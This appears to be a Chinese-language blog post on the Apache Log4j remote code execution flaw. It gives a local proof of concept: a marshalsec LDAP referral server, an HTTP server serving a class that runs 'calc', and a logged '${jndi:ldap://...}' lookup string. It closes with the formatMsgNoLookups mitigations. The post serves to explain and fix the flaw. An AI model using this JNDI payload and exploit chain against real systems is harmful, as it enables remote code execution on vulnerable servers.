Apache Log4j 远程代码执行漏洞和修补方案

Apache-Log4j

Apache Log4j 远程代码执行

攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响

参考：https://gitee.com/jby6666/apache-log4j-poc.git

步骤

1. Compile Log4jRCE.java and start http server python -m http.server 8888
2. Start ldap server

1.  
   git clone git@github.com:mbechler/marshalsec.git
2.  
   cd marshalsec
3.  
   mvn clean package -DskipTests
4.  
    
5.  
   java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

1. 启动log4j.java，然后就会发现命令行出现了I am Log4jRCE from remote!!!。底层就是会远程下载Log4jRCE.class，然后执行newInstance()，所以会执行static、构造函数代码。

1.  
   public class log4j {
2.  
    
3.  
   private static final Logger logger = LogManager.getLogger(log4j.class);
4.  
    
5.  
   public static void main(String[] args) {
6.  
   logger.error("${jndi:ldap://127.0.0.1:1389/a}");
7.  
   }
8.  
   }

1.  
   public class Log4jRCE {
2.  
    
3.  
   static {
4.  
   System.out.println("I am Log4jRCE from remote!!!");
5.  
   try {
6.  
   String[] cmd = {"calc"};
7.  
   java.lang.Runtime.getRuntime().exec(cmd).waitFor();
8.  
   } catch (Exception e) {
9.  
   e.printStackTrace();
10.  
    }
11.  
    }
12.  
    }

修复方案：

(1)修改jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)修改配置 在应用classpath下添加log4j2.component.properties配置文件，log4j2.formatMsgNoLookups=true

注意：本文归作者所有，未经作者允许，不得转载